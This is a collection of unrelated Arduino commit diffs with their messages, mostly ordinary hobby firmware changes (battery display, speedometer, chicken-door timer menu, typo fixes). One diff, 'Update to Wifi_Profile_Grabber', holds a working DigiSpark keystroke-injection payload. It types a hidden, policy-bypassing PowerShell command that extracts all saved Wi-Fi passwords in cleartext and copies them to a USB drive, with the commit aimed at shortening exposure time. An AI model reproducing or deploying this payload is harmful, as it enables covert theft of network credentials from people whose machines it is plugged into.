 const int MinClockOffset = -32000;
 const int MaxClockOffset = +32000;
@@ -210,6 +231,12 @@

 // adjustment value for DDS-60 (set in 'Calibrate' menu)
 int VfoClockOffset = 0;
+
+// global pointing to symbol for current battery state
+byte *BatterySymbol = battunder;
+
+// the latest measured voltage
+float MeasuredVoltage = -1.0;

 //##############################################################################
@@ -530,6 +557,7 @@
 //     DBG;         get display brightness
 //     DCSn;        set display contrast to N (0, 128)
 //     DCG;         get display contrast
+//     VG;          get measured battery voltage
 //##############################################################################

 //----------------------------------------
@@ -947,6 +975,48 @@
 }

 //----------------------------------------
+// Convert a positive float < 10.0 to a string with 2 decimal places.
+//     buff         address of buffer to fill
+//     value        the float value to convert
+//----------------------------------------
+
+void float2str(char *buff, float value)
+{
+  int int_value = (int) value;
+  int f_part = (int) ((value - int_value) * 1000);
+  char *ptr = buff;
+  *ptr++ = int_value + '0';
+  *ptr++ = '.';
+  int factor = 100;
+  for (int i = 0; i < 2; ++i)
+  {
+    int digit = f_part / factor;
+    *ptr++ = digit + '0';
+    f_part -= digit * factor;
+    factor = factor / 10;
+  }
+}
+
+//----------------------------------------
+// Battery Voltage:
+//     VG;  get the measured battery voltage
+//----------------------------------------
+
+const char * xcmd_voltage(char *answer, char *cmd)
+{
+  switch (cmd[1])
+  {
+    case 'G':
+      float2str(answer, MeasuredVoltage);
+      answer[4] = '\0';
+      strcat(answer, (char *) F("v"));
+      return answer;
+  }
+
+  return "ERROR";
+}
+
+//----------------------------------------
 // Process an external command.
 //     cmd     address of command string buffer
 //     index   index of last char in string buffer
@@ -985,6 +1055,8 @@
       return xcmd_mode(answer, cmd);
     case 'P':
       return xcmd_presentation(answer, cmd);
+    case 'V':
+      return xcmd_voltage(answer, cmd);
   }

   return xcmd_help(answer, cmd);
@@ -1350,6 +1422,22 @@
 //##############################################################################
 // Utility routines for the display.
 //##############################################################################
+
+//----------------------------------------
+// Display a battery symbol on the screen.
+//
+// The global BatterySymbol points to the appropriate byte array for the symbol.
+//----------------------------------------
+
+void display_battery(void)
+{
+  // create special battery character
+  lcd.createChar(BatteryChar, BatterySymbol);
+
+  // we set cursor here because we lose cursor position after lcd.createChar()!?
+  lcd.setCursor(15, 1);
+  lcd.write(byte(BatteryChar));
+}

 //----------------------------------------
 // Display a value on the display with selected column underlined.
@@ -2891,8 +2979,40 @@
 // Standard Arduino loop() function.
 //----------------------------------------

+const float MaxVoltage = 8.0;   // battery voltage for "100% full"
+const float MinVoltage = 7.0;   // battery voltage for "0% full"
+
 void loop(void)
 {
+  // measure voltage every second
+  // we will get a value of 1023 for 3.3 volts
+  static UINT last_volts_time = -VoltageDelay;    // millis() value last time we measured
+  ULONG now = millis();
+  if (now < last_volts_time)
+    last_volts_time = -VoltageDelay;    // handle wraparound of millis()
+  if (now > last_volts_time + VoltageDelay)
+  {
+    last_volts_time = now;
+    UINT measured = analogRead(mc_BattVolts);
+    MeasuredVoltage = ((3.3 * measured) / 1023) * (32.0/10.0);
+
+    // figure out which battery symbol to use
+    if (MeasuredVoltage < MinVoltage)
+        BatterySymbol = battunder;
+    else if (MeasuredVoltage > MaxVoltage)
+        BatterySymbol = battover;
+    else
+    {
+      int percent = (int) ((MeasuredVoltage - MinVoltage) / (MaxVoltage - MinVoltage) * 100.0);
+      int batt_bucket = (int) (percent/20);
+#if (DEBUG & DEBUG_BATT)
+      Serial.printf(F("volts=%f, percent=%d, batt_bucket=%d\n"), MeasuredVoltage, percent, batt_bucket);
+#endif
+      BatterySymbol = batt_syms[batt_bucket + 2];
+    }
+    display_battery();
+  }
+
   // gather any commands from controller
   while (Serial.available())
   {
@@ -2926,17 +3046,11 @@
     switch (event)
     {
       case vfo_RLeft:
-#if DEBUG
-        Serial.printf(F("got RLeft, VfoFrequency=%ld, VfoSelectDigit=%d\n"), VfoFrequency, VfoSelectDigit);
-#endif
         if (VfoFrequency <= MinFreq)
           break;
         VfoFrequency -= offset2bump[VfoSelectDigit];
         if (VfoFrequency < MinFreq)
           VfoFrequency = MinFreq;
-#if DEBUG
-        Serial.printf(F("after RLeft, VfoFrequency=%ld\n"), VfoFrequency);
-#endif
         break;
       case vfo_RRight:
         if (VfoFrequency >= MaxFreq)
@@ -2972,6 +3086,7 @@

     // update the display
     display_sel_value(VfoFrequency, VfoSelectDigit, NumFreqChars, NumCols - NumFreqChars - 2, 0);
+    display_battery();

     // if online, update DDS-60 and write changes to EEPROM
 #if (DEBUG & DEBUG_FREQ)


Update to Wifi_Profile_Grabber

Update to Wifi_Profile_Grabber

Altered the PS script to copy via drive label as opposed to hard coded drive letter.  Also condensed some of the digi script into the PS script to further lessen the time exposed.

--- WiFi_Profile_Grabber/WiFi_Profile_Grabber.ino
+++ WiFi_Profile_Grabber/WiFi_Profile_Grabber.ino
@@ -1,4 +1,5 @@
-//This DigiSpark script writes the wireless network credentials to a csv file in a usb mounted at d:\ - change accordingly.
+//This DigiSpark script writes the wireless network credentials to a csv file on a usb drive.
+//Change "VolumeName='USB_DRIVE_LABEL'" to reflect your drive's label.
 //Credits to p0wc0w.
 #include "DigiKeyboard.h"
 void setup() {
@@ -12,20 +13,8 @@
   DigiKeyboard.print("cmd");
   DigiKeyboard.sendKeyStroke(KEY_ENTER);
   DigiKeyboard.delay(500);
-  DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv"));
+  DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv c:\\windows\\temp\\temp.csv; cp c:\\windows\\temp\\temp.csv -destination $((gwmi -Query \\\"Select * from Win32_LogicalDisk where VolumeName='USB_DRIVE_LABEL'\\\").DeviceID); ri c:\\windows\\temp\\temp.csv -force"));
   DigiKeyboard.sendKeyStroke(KEY_ENTER);
-  DigiKeyboard.delay(3000);
-  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
-  DigiKeyboard.delay(200);
-  DigiKeyboard.print("cmd");
-  DigiKeyboard.sendKeyStroke(KEY_ENTER);
-  DigiKeyboard.delay(500);
-  DigiKeyboard.print(F("copy temp.csv d:\\"));
-  DigiKeyboard.sendKeyStroke(KEY_ENTER);
-  DigiKeyboard.delay(500);
-  DigiKeyboard.print(F("del temp.csv"));
-  DigiKeyboard.sendKeyStroke(KEY_ENTER);
-  DigiKeyboard.delay(500);
   DigiKeyboard.print("exit");
   DigiKeyboard.sendKeyStroke(KEY_ENTER);
   for(;;){ /*empty*/ }


Update Arduino_Sketch.ino

Update Arduino_Sketch.ino

--- sketches/WHID_and_Cactus_micro_rev2_sketches/Arduino_Sketch/Arduino_Sketch.ino
+++ sketches/WHID_and_Cactus_micro_rev2_sketches/Arduino_Sketch/Arduino_Sketch.ino
@@ -1,4 +1,7 @@
 /*
+ * ################################################
+ * #### DEPRECATED FW! Please use ESPloitV2!!! ####
+ * ################################################
  * WHID Injector - Arduino Sketch
  * http://whid.ninja
  * Forked by Luca Bongiorni


Update iGPS.ino

Update iGPS.ino

增加摇杆控制

--- iGPS.ino
+++ iGPS.ino
@@ -23,12 +23,19 @@
 #define CHAR_MINUTE char(39)  // 分
 #define CHAR_SECOND char(34)  // 秒

+// joystick pin
+#define KEY_PIN 0
+
 // joystick number
-#define LEFT_KEY 0
-#define CENTER_KEY 1
-#define DOWN_KEY 2
-#define RIGHT_KEY 3
-#define UP_KEY 4
+enum KEY{
+      LEFT_KEY,
+      CENTER_KEY,
+      DOWN_KEY,
+      RIGHT_KEY,
+      UP_KEY
+};
+
+#define NUM_KEYS 5

 // GPS Serial
 SoftwareSerial GPSSerial(GPS_TX, GPS_RX); // RX, TX
@@ -280,3 +287,40 @@
   }
   return d;
 }
+
+/*
+ *         String s = "";
+        switch(a) {
+          case LEFT_KEY:
+            s = "LEFT";
+            break;
+          case CENTER_KEY:
+            s = "CENTER";
+            break;
+          case DOWN_KEY:
+            s = "DOWN";
+            break;
+          case RIGHT_KEY:
+            s = "RIGHT";
+            break;
+          case UP_KEY:
+            s = "UP";
+            break;
+          default:
+            s = "UNPRESSD";
+            break;
+        }
+ */
+// Convert ADC value to key number
+int getKey() {
+  int input = analogRead(KEY_PIN);
+
+  int k = NUM_KEYS; // No valid key pressed
+
+  for (k = 0; k < NUM_KEYS; k++) {
+    if (input < ADC_KEY[k]) {
+      return k;
+    }
+  }
+  return k;
+}


Stop clearing multiple times

Stop clearing multiple times

--- boieng.ino
+++ boieng.ino
@@ -24,6 +24,8 @@
   }
 }

+bool did_clear = false;
+
 void loop() {
   // read inputs

@@ -34,8 +36,12 @@
   float roll = get_roll(&gyro);

   if (millis() % 1000 < 100) {
-    Serial.println("Clearing buffer");
-    clear_gyro_wire();
+    if (!did_clear) {
+      did_clear = true;
+      clear_gyro_wire();
+    }
+  } else {
+    did_clear = false;
   }


Disable debugging.

Disable debugging.

--- buttonbar/buttonbar.ino
+++ buttonbar/buttonbar.ino
@@ -14,7 +14,7 @@
 // MIDI params
 #define MIDI_CHANNEL 1
 // uncomment to enable serial debugging
-#define SERIAL_DEBUG 1
+// #define SERIAL_DEBUG 1

 #include <EEPROM.h>


small typo fix

small typo fix

--- examples/Car/rotateOnSpot/rotateOnSpot.ino
+++ examples/Car/rotateOnSpot/rotateOnSpot.ino
@@ -8,9 +8,9 @@
   gyro.attach();
   car.begin(gyro);
   delay(1000);
-  rotateOnSpot(-450); //rotate clockwise 90 degrees on spot
+  rotateOnSpot(90); //rotate clockwise 90 degrees on spot
   delay(1000);
-  rotateOnSpot(90); //rotate counter clockwise 90 degrees on spot
+  rotateOnSpot(-90); //rotate counter clockwise 90 degrees on spot
 }

 void loop() {


Update ha_mqtt_sensor_dht22.ino

Update ha_mqtt_sensor_dht22.ino

--- ha_mqtt_sensor_dht22/ha_mqtt_sensor_dht22.ino
+++ ha_mqtt_sensor_dht22/ha_mqtt_sensor_dht22.ino
@@ -22,7 +22,8 @@
     - Cable between D0 and RST (wake-up purpose)

    Samuel M. - 08.2016
-   https://github.com/mertenats
+   If you like this example, please add a star! Thank you!
+   https://github.com/mertenats/open-home-automation
 */

 #include <ESP8266WiFi.h>


:bug: Fix custom settings example

:bug: Fix custom settings example

--- examples/CustomSettings/CustomSettings.ino
+++ examples/CustomSettings/CustomSettings.ino
@@ -16,7 +16,7 @@
   if (millis() - lastTemperatureSent >= temperatureIntervalSetting.get() * 1000UL || lastTemperatureSent == 0) {
     float temperature = 22; // Fake temperature here, for the example
     Serial << "Temperature: " << temperature << " °C" << endl;
-    temperatureNode.setProperty(temperatureNode, "degrees").send(String(temperature));
+    temperatureNode.setProperty("degrees").send(String(temperature));
     lastTemperatureSent = millis();
   }
 }


FIX: For the Winn

FIX: For the Winn

--- examples/RadioHost32bit/RadioHost32bit.ino
+++ examples/RadioHost32bit/RadioHost32bit.ino
@@ -9,7 +9,7 @@
 * Since the Device must initiate communication, the
 * device "polls" the Host evey 63mS when not sending packets.
 * Host is connected to PC via USB VCP (FTDI).
-* Device is connectedd to uC (PIC32MX250F128B with UDB32-MX2-DIP).
+* Device is connected to uC (PIC32MX250F128B with UDB32-MX2-DIP).
 *
 * This software is provided as-is with no promise of workability
 * Use at your own risk, wysiwyg.


Добавление подсчёта скорости и переработка алгоритма сигнализации

--- main.ino
+++ main.ino
@@ -1,47 +1,66 @@
-#include <Wire.h>
+#include <EEPROM.h>
+#include <Wire.h>
 #include <LiquidCrystal_I2C.h>

-LiquidCrystal_I2C lcd(0x27,16,2);  // Устанавливаем дисплей
+LiquidCrystal_I2C lcd(0x27,16,2);	// Инициализация дисплея (адрес, количество символов, количество строк)

+/*Стандартные значения*/
+#define WHEEL_LENGTH	2.050	// Длина окружности колеса в метрах
+#define BIP_DELAY		4		// Сколько итераций пищать (* 500 / 10000)

+/*Цифровые выводы*/
 #define BIP 4

-bool alarm_state = false;
-int alarm_delay = 0;
+bool			alarm_state = false;	// Для сигнализации
+
+unsigned long	lastturn;	// Время последнего обращения
+
+float			speed_now,	// Скорость
+				distance;	// Расстояние
+

 void setup() {
 	#ifdef DEBUG
 	Serial.begin(9600);
 	#endif

-	// lcd.begin();
+	/*Инициализация дисплея*/
+	lcd.begin();
 	// lcd.backlight();

+	/*Инициализация выводов для сигнала*/
 	pinMode(BIP, OUTPUT);
 	digitalWrite(BIP, LOW);

-	// lcd.print("Interrupt test");
+	/*Прерывание на 2-ом цифровом канале для сигнализации*/
+	attachInterrupt(0, alarm, CHANGE);

-	attachInterrupt(0, alarm, CHANGE);	// Прерывание на 2-ом цифровом канале
+	/*Прерывание на 3-ем цифровом канале для подсчёта скорости*/
+	attachInterrupt(1, speed, CHANGE);
 }

 void loop() {
-	if (alarm_state) {
-		digitalWrite(BIP, HIGH);
-		delay(250);
-		digitalWrite(BIP, LOW);
-		delay(250);
+}

-		if (alarm_delay == 10) {
-			alarm_delay	= 0;
-			alarm_state	= false;
-		} else {
-			alarm_delay++;
+void alarm() {	// Сигнализация
+	if (!alarm_state) {
+		alarm_state	= true;
+
+		for (int	i = 0; i < BIP_DELAY; i++) {
+			digitalWrite(BIP, HIGH);
+			delay(250);
+			digitalWrite(BIP, LOW);
+			delay(250);
 		}
+
+		alarm_state	= false;
 	}
 }

-void alarm() {
-	if (!alarm_state)
-		alarm_state	= true;
+void speed() {	// Подсчёт скорости
+	if ((millis() - lastturn) > 80) {	// Защита от случайных измерений (основано на том, что велосипед не будет ехать быстрее 120 кмч)
+		speed_now	= WHEEL_LENGTH / ((float)(millis() - lastturn) / 1000) * 3.6;	// Расчет скорости, км/ч
+		lastturn	= millis();														// Запомнить время последнего оборота
+		distance	= distance + WHEEL_LENGTH / 1000;								// Прибавляем длину колеса к дистанции при каждом обороте
+	}
 }


Set current_payload to the value of the first byte

--- experiments/esp8266_monitor/esp8266_monitor.ino
+++ experiments/esp8266_monitor/esp8266_monitor.ino
@@ -137,7 +137,7 @@

       // Check the first byte for the payload type.
       if (serial_byte_count == 0) {
-        current_payload = serial_byte_count;
+        current_payload = in;
       }

       //Serial.print(in, HEX);


funcionando agora a parte em que ao soltar o botao ele coloca o IR receiver habilitado e com o IR receiver habilitado ele passa a escutar sinais IR e gravalos (não da forma correta ainda a gravação)

--- codigo.ino
+++ codigo.ino
@@ -223,7 +223,7 @@
     if (lastButtonState == HIGH && firstButtonState == LOW)
     {
         Serial.println("Released");
-        // irrecv.enableIRIn(); // Re-enable receiver
+        irrecv.enableIRIn(); // Re-enable receiver
     }

     if (firstButtonState)
@@ -234,13 +234,13 @@
         digitalWrite(STATUS_PIN, LOW);
         delay(50); // Wait a bit between retransmissions
     }
-    // else if (irrecv.decode(&results))
-    // {
-    //     digitalWrite(STATUS_PIN, HIGH);
-    //     storeCode(&results);
-    //     irrecv.resume(); // resume receiver
-    //     digitalWrite(STATUS_PIN, LOW);
-    // }
+    else if (irrecv.decode(&results))
+    {
+        digitalWrite(STATUS_PIN, HIGH);
+        storeCode(&results);
+        irrecv.resume(); // resume receiver
+        digitalWrite(STATUS_PIN, LOW);
+    }
     lastButtonState = firstButtonState;

 //==========================================================================


Spelling eroor correction

Spelling eroor correction

--- 05-MusicTime/Code/05-MusicTime/MusicTime.ino
+++ 05-MusicTime/Code/05-MusicTime/MusicTime.ino
@@ -60,7 +60,7 @@
     delay(tempo/10);              // brief pause between notes
   }

-  //If you want your song to loop forever, place that code in the lopp() below.
+  //If you want your song to loop forever, place that code in the loop() below.
 }


Fixed SSD1306 OLED changes in library 4.0.0.

DISPLAY_HEIGHT & DISPLAY_WIDTH are now functions getHeight() & getWidth().

--- oledtask.ino
+++ oledtask.ino
@@ -56,10 +56,10 @@
     }
     else
     {
-      const uint8_t BARS_BOTTOM      = DISPLAY_HEIGHT - 11;
+      const uint8_t BARS_BOTTOM      = OLED.getHeight() - 11;
       const uint8_t BARS_HEIGHT      = BARS_BOTTOM;
       const uint8_t BARS_BORDER      = 4;
-      const uint8_t BARS_WIDTH       = DISPLAY_WIDTH  / NUMBER_OF_CHANNELS;
+      const uint8_t BARS_WIDTH       = OLED.getWidth() / NUMBER_OF_CHANNELS;

       OLED.drawString( 64, 0, WiFi.localIP().toString() );


Added ability to change pre and post delay via LCD menu.

--- chicken_door_timer_v2.ino
+++ chicken_door_timer_v2.ino
@@ -7,6 +7,7 @@
 #include <TimeLord.h>
 #include "RTClib.h"
 #include <EEPROM.h>
+#include "encoder.h"

 // Pins
 #define PIN_ENC_A     7
@@ -18,6 +19,11 @@
 #define PIN_LIMSW_UP  A2
 #define PIN_LIMSW_DN  A3

+// Button settings
+#define DEBOUNCE_MS 20
+#define PULLUP false
+#define INVERT false
+
 #define DEFAULT_SUNRISE_PD_MINS 20
 #define DEFAULT_SUNSET_D_MINS   30

@@ -44,8 +50,20 @@
 #define PULLUP false
 #define INVERT false

+Button menuButton(PIN_ENC_BTN, PULLUP, INVERT, DEBOUNCE_MS);
+
+
+#define MENU_COUNT 2
+
 volatile int f_timer=0;

+//const int DELAYTIME_SEC = 20;
+const int TIMEOUT_MAX = 220;
+const int DELAY_MS = 100;
+const int MAX_DELAY_MINUTES = 100;
+int menuPos = 0;
+int delayVal = 0;
+
 RTC_DS1307 rtc;

 LiquidCrystal lcd(12, 11, 5, 4, 3, 2);
@@ -53,6 +71,8 @@
 DateTime now;

 TimeLord tardis;
+
+Encoder encoder(PIN_ENC_A, PIN_ENC_B, PIN_ENC_BTN);

 float const LATITUDE = -42.9166667;
 float const LONGITUDE = 147.3333282;
@@ -61,8 +81,13 @@
 byte sunrise[6];
 byte sunset[6];

+// process logic booleans
 bool isDayTime = false;
 bool doorOpen = false;
+bool inSetupMenu = false;
+bool inPreDelayMenu = false;
+bool inPostDelayMenu = false;
+bool setDelayValue = false;

 unsigned int delay_time_before_sunrise;
 unsigned int delay_time_after_sunset;
@@ -79,39 +104,42 @@

   byte sunrise_dt_c_calc = CKSUM_SECRET ^ sunrise_dt_v0;
   sunrise_dt_c_calc ^= sunrise_dt_v1;
-
+
   int precalc_sunrise_c = SUNRISE_DT_C_V;
-
-  Serial.print("Sunrise checksum is supposed to be: ");
-  Serial.println(precalc_sunrise_c);
-  Serial.print("Calculated checksum: ");
-  Serial.println(sunrise_dt_c_calc);

   if(sunrise_dt_c_calc != precalc_sunrise_c){
-    Serial.println("Writing defeault values for sunrise delay.");
-
+    lcd.clear();
+    lcd.print("EEPROM checksum");
+    lcd.setCursor(0, 1);
+    lcd.print("error :(");
+    Serial.println("EEPROM checksum error - Writing defeault values for sunrise delay.");
     EEPROM.write(SUNRISE_DT_0_P, SUNRISE_DT_0_V);
     EEPROM.write(SUNRISE_DT_1_P, SUNRISE_DT_1_V);
     EEPROM.write(SUNRISE_DT_C_P, SUNRISE_DT_C_V);
     Serial.println("Done.");
+    delay_time_before_sunrise = (SUNRISE_DT_0_V << 4) + SUNRISE_DT_1_V;
+  } else {
+    delay_time_before_sunrise = (sunrise_dt_v0 << 4) + sunrise_dt_v1;
   }

   byte sunset_dt_c_calc = CKSUM_SECRET ^ sunset_dt_v0;
   sunset_dt_c_calc ^= sunset_dt_v1;

   int precalc_sunset_c = (int)SUNSET_DT_C_V;
-
-  Serial.print("Sunset checksum is supposed to be:");
-  Serial.println(precalc_sunset_c);
-  Serial.print("Calculated checksum: ");
-  Serial.println(sunset_dt_c_calc);

   if(sunset_dt_c_calc != precalc_sunset_c){
+    lcd.clear();
+    lcd.print("EEPROM checksum");
+    lcd.setCursor(0, 1);
+    lcd.print("error :(");
     Serial.println("Writing default values for sunset delay.");
     EEPROM.write(SUNSET_DT_0_P, SUNSET_DT_0_V);
     EEPROM.write(SUNSET_DT_1_P, SUNSET_DT_1_V);
     EEPROM.write(SUNSET_DT_C_P, SUNSET_DT_C_V);
     Serial.println("Done.");
+    delay_time_after_sunset = (SUNSET_DT_0_V << 4) + SUNSET_DT_1_V;
+  } else {
+    delay_time_after_sunset = (sunset_dt_v0 << 4) + sunset_dt_v1;
   }
 }

@@ -126,22 +154,22 @@
 }

 void enableInterrupts(){
-
+
   /* Normal timer operation.*/
-  TCCR1A = 0x00;
-
+  TCCR1A = 0x00;
+
   /* Clear the timer counter register.
-   * You can pre-load this register with a value in order to
+   * You can pre-load this register with a value in order to
    * reduce the timeout period, say if you wanted to wake up
    * ever 4.0 seconds exactly.
    */
-  TCNT1=0x0000;
-
-  /* Configure the prescaler for 1:1024, giving us a
+  TCNT1=0x0000;
+
+  /* Configure the prescaler for 1:1024, giving us a
    * timeout of 4.09 seconds.
    */
   TCCR1B = 0x05;
-
+
   /* Enable the timer overlow interrupt. */
   TIMSK1=0x01;
 }
@@ -151,6 +179,7 @@
   pinMode(PIN_DOOR_DN, OUTPUT);
   pinMode(PIN_LIMSW_UP, INPUT);
   pinMode(PIN_LIMSW_DN, INPUT);
+  pinMode(PIN_ENC_BTN, INPUT);
 }

 void showSplash(){
@@ -197,13 +226,15 @@
   // Date testing using Datetime from RTC library
   now = rtc.now();

-  // temp for setting RTC date - only for compilation time!
-  // Remember to re-flash with this code commented out to stop the
+  // temp for setting RTC date - only for compilation time!
+  // Remember to re-flash with this code commented out to stop the
   // Arduino restting the time to compile time every reboot..
   //rtc.adjust(DateTime(F(__DATE__), F(__TIME__)));

   // read eeprom settings (delays, ?)
   readEEPROM();
+
+

   showSplash();

@@ -222,17 +253,19 @@
   Serial.print(now.second(), DEC);
   Serial.print("\n");

+

-
   // testing..
   checkTime();
-  openDoor();
-  closeDoor();
-}
+  //openDoor();
+  //closeDoor();
+}
+
+

 void enterSleep() {
   set_sleep_mode(SLEEP_MODE_IDLE);
-
+
   sleep_enable();

@@ -245,35 +278,31 @@
   power_spi_disable();
   power_timer0_disable();
   power_timer2_disable();
-  power_twi_disable();
+  power_twi_disable();

   /* Now enter sleep mode. */
   sleep_mode();
-
+
   /* The program will continue from here after the timer timeout*/
   sleep_disable(); /* First thing to do is disable sleep. */
-
+
   /* Re-enable the peripherals. */
   power_all_enable();
 }

 void openDoor(){
+  lcd.setCursor(0, 0);
+  lcd.print("Opening door");
   Serial.println("Opening the door..");
   // send high to door open motor pin
   digitalWrite(PIN_DOOR_UP, HIGH);

   int timeoutcount = 0;
-  const int TIMEOUT_MAX = 220;
-

   // loop until limit switch is hit (also add timeout)
   Serial.print("Waiting for door to open");
   while(digitalRead(PIN_LIMSW_UP) == LOW){
-    enterSleep(); // sleep for a few seconds to save power
-    if(f_timer == 1)
-    {
-      f_timer = 0;
-    }
+    delay(DELAY_MS);
     timeoutcount++;
     if(timeoutcount > TIMEOUT_MAX){
       Serial.print("\nERROR! door not closing properly. Check limit switch.\n");
@@ -286,7 +315,7 @@

   // send low to door open motor pin
   digitalWrite(PIN_DOOR_UP, LOW);
-
+
   Serial.println("Door opened!!");
   // set door is open bool to true
   doorOpen = true;
@@ -295,19 +324,16 @@

 void closeDoor(){
   // send high to door close motor pin
-   digitalWrite(PIN_DOOR_DN, HIGH);
-
+  digitalWrite(PIN_DOOR_DN, HIGH);
+  lcd.setCursor(0, 0);
+  lcd.print("Closing door");
   int timeoutcount = 0;
-  const int TIMEOUT_MAX = 220;
-
+
   // loop until limit switch is hit  (also add timeout)
   Serial.print("Waiting for door to close");
   while(digitalRead(PIN_LIMSW_DN) == LOW){
-    enterSleep(); // sleep for a few seconds to save power
-    if(f_timer == 1)
-    {
-      f_timer = 0;
-    }
+
+    delay(DELAY_MS);
     timeoutcount++;
     if(timeoutcount > TIMEOUT_MAX){
       Serial.print("\nERROR! door not opening properly. Check limit switch.\n");
@@ -317,23 +343,33 @@
      Serial.print(".");
   }
   Serial.println();
-
+
   // send low to door close motor pin
   digitalWrite(PIN_DOOR_DN, LOW);
   Serial.println("Door closed!!");
   // set door is open bool to false
   doorOpen = false;
-
+
 }

 void updateDoor(){
   if(isDayTime && !doorOpen){
     Serial.print("It's daytime and we are now opening the door!");
-    openDoor();
+    openDoor();
   } else if (!isDayTime && doorOpen){
     Serial.print("It's night time and we are now closing the door!");
     closeDoor();
   }
+}
+
+// check limit switches - if door is open when it should be closed
+void checkLimitSwitches(){
+  // if up switch pressed and night time
+  // alert user to press button to keep door open - timeout 15 seconds
+
+  // if down switch and daytime
+  // alert user to press button to keep door closed - timeout 60 seconds
+
 }

 void checkTime(){
@@ -397,7 +433,7 @@
     //DateTime sunrise_dt(sunrise[5], sunrise[4], sunrise[3], sunrise[2], sunrise[1], sunrise[0]);
     //DateTime midnight(now.year(), now.month(), now.day(), 0, 0, 0);
     //DateTime now_plus_sunrise = now - (sunrise_dt - midnight);
-
+
     Serial.print("Sunrise: ");
     Serial.print((int) sunrise[tl_hour]);
     Serial.print(":");
@@ -409,13 +445,13 @@
         delta_mins = (24 - now.hour() + sunrise[tl_hour]) * 60 + (sunrise[tl_minute] + (60-now.minute()));
       } else { /* morning */
         // sunrise - now
-        delta_mins = (sunrise[tl_hour] - now.hour()) * 60 + (sunrise[tl_minute] - now.minute());
+        delta_mins = (sunrise[tl_hour] - now.hour()) * 60 + (sunrise[tl_minute] - now.minute());
       }
     } else {
       // time after sunrise - will be negative so below can say time after sunrise
-      delta_mins = (sunrise[tl_hour] * 60 - now.hour() * 60) + sunrise[tl_minute] - now.minute();
-    }
-
+      delta_mins = (sunrise[tl_hour] * 60 - now.hour() * 60) + sunrise[tl_minute] - now.minute();
+    }
+
     if(delta_mins < 0){
       Serial.print("Time after sunrise: ");
       Serial.print((int)-delta_mins / 60);
@@ -429,7 +465,7 @@
     }
   }
   Serial.println();
-
+
 }

 void tensDigitLCD(int digit){
@@ -450,7 +486,7 @@
  tensDigitLCD(now.hour());
  lcd.print(":");
  tensDigitLCD(now.minute());
-  if(isDayTime){
+  if(isDayTime){
     lcd.setCursor(0, 1);
     lcd.print("Sunset:  ");
     tensDigitLCD(sunset[tl_hour]);
@@ -465,16 +501,135 @@
   }
 }

+void drawPreDelayMenu(){
+  lcd.clear();
+  lcd.print("Set delay before");
+  lcd.setCursor(0, 1);
+  lcd.print("Sunrise. [1/2]");
+  inPreDelayMenu = true;
+  inPostDelayMenu = false;
+}
+
+void drawPostDelayMenu(){
+  lcd.clear();
+  lcd.print("Set delay after");
+  lcd.setCursor(0, 1);
+  lcd.print("sunset.  [2/2]");
+  inPreDelayMenu = false;
+  inPostDelayMenu = true;
+}
+
+void drawSelectedMenu(){
+  lcd.setCursor(0, 0);
+  if(menuPos == 0){
+    drawPreDelayMenu();
+    inPreDelayMenu = true;
+  } else if (menuPos == 1){
+    drawPostDelayMenu();
+    inPostDelayMenu = true;
+  }
+}
+
+void drawDelaySetMenu(){
+  lcd.clear();
+  lcd.setCursor(0, 0);
+  if(inPreDelayMenu){
+    lcd.print("Pre: ");
+  } else if(inPostDelayMenu){
+    lcd.print("Post: ");
+  }
+  lcd.print(delayVal);
+  lcd.print(" mins");
+
+}
+
+void updateDelayValLoop(){
+  encState eState = encoder.read();
+  if (eState == ENC_DEC) {
+    if (delayVal == 0) {
+      delayVal = MAX_DELAY_MINUTES - 1;
+    } else {
+      delayVal = (delayVal - 1);
+    }
+    drawDelaySetMenu();
+  } else if (eState == ENC_INC) {
+    delayVal = (delayVal + 1) % (MAX_DELAY_MINUTES);
+    drawDelaySetMenu();
+  }
+}
+
+void updateDelaySettings(){
+
+  if(inPreDelayMenu){
+    delayVal = delay_time_before_sunrise;
+  } else if(inPostDelayMenu){
+    delayVal = delay_time_after_sunset;
+  }
+  drawDelaySetMenu();
+  while(!setDelayValue){
+    updateDelayValLoop();
+    menuButton.read();
+    if(menuButton.wasReleased()){
+      // TODO: set delay value in EEPROM
+      setDelayValue = true;
+    }
+  }
+}
+
+void updateSetupMenu(){
+  lcd.setCursor(0, 0);
+  encState eState = encoder.read();
+  if (eState == ENC_DEC) {
+    if (menuPos == 0) {
+      menuPos = MENU_COUNT - 1;
+    } else {
+      menuPos = (menuPos - 1);
+    }
+    drawSelectedMenu();
+    Serial.print("Menu item: ");
+    Serial.println(menuPos);
+  } else if (eState == ENC_INC) {
+    menuPos = (menuPos + 1) % (MENU_COUNT);
+    Serial.print("Menu item: ");
+    Serial.println(menuPos);
+    drawSelectedMenu();
+  }
+}
+
+void checkIfButtonPressed(){
+  menuButton.read();
+  if(menuButton.wasReleased()){
+    if(!inSetupMenu){
+      lcd.clear();
+      inSetupMenu = true;
+      inPreDelayMenu = true;
+      inPostDelayMenu = false;
+      drawPreDelayMenu();
+    } else if (inPreDelayMenu || inPostDelayMenu){
+      Serial.println("drawing menu screen to update delay value");
+      setDelayValue = false;
+      updateDelaySettings();
+      inSetupMenu = false;
+    }
+  }
+
+}
+
+
 void loop() {
-  if(f_timer==1)
-  {
-    f_timer = 0;
-    Serial.println("Waking from sleep..");
-    checkTime();
-    updateDoor();
-    updateLCD();
-    /* Re-enter sleep mode. */
-    enterSleep();
-  }
-}
-
+  checkIfButtonPressed();
+  if(inSetupMenu){
+    updateSetupMenu();
+
+  } else {
+    if(f_timer==1) {
+      f_timer = 0;
+      Serial.println("Waking from sleep..");
+      checkTime();
+      updateDoor();
+      updateLCD();
+      /* Re-enter sleep mode. */
+      enterSleep();
+    }
+  }
+}


Add global brightness definition, fix display of minutes

